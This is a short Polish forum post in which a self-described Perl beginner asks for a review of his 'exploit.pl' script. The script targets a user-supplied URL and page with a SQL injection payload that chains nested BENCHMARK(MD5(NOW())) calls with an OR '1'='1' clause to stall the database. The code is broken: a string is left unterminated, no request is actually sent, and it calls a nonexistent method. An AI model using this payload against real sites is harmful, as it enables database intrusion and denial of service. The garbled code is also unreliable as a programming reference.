- Dołączył
- Wrzesień 24, 2011
- Posty
- 325
Witam. Prosze, oceńcie i poprawcie mój kod, wiadomo że znajdzie sie na nim kilka niedociągnięć
Ale to dla tego iż jeden dzień uczyłem się perla :d Poradniki z Hack.pl oraz analiza kilku exploitow i programow w perlu
Ale to dla tego iż jeden dzień uczyłem się perla :d Poradniki z Hack.pl oraz analiza kilku exploitow i programow w perlu
Kod:
#!/usr/bin/perl
#!Copyright (C) Cyborg (other name) VR8
use LWP::UserAgent;
if(@ARGV < 2)
{
usage();
exit();
}
$target = $ARGV[0];
$vulnerability = $ARGV[1];
print "
--------------------------------------------------------------------
Target: $target
";
$poison = ' AND BENCHMARK(9999999,BENCHMARK(999999,BENCHMARK(999999,MD5(NOW()))))=0 OR '1'='1
$kill = $target/$vulnerability$poison
unless($kill->is_success) {
print " Upshot: Owned
--------------------------------------------------------------------";
}
unless($kill->is_failed) {
print " Upshot: Fail
--------------------------------------------------------------------";
}
sub usage()
{
print "
--------------------------------------------------------------------
Use - exploit.pl http://target.com/ vulnerability.php
--------------------------------------------------------------------
";
}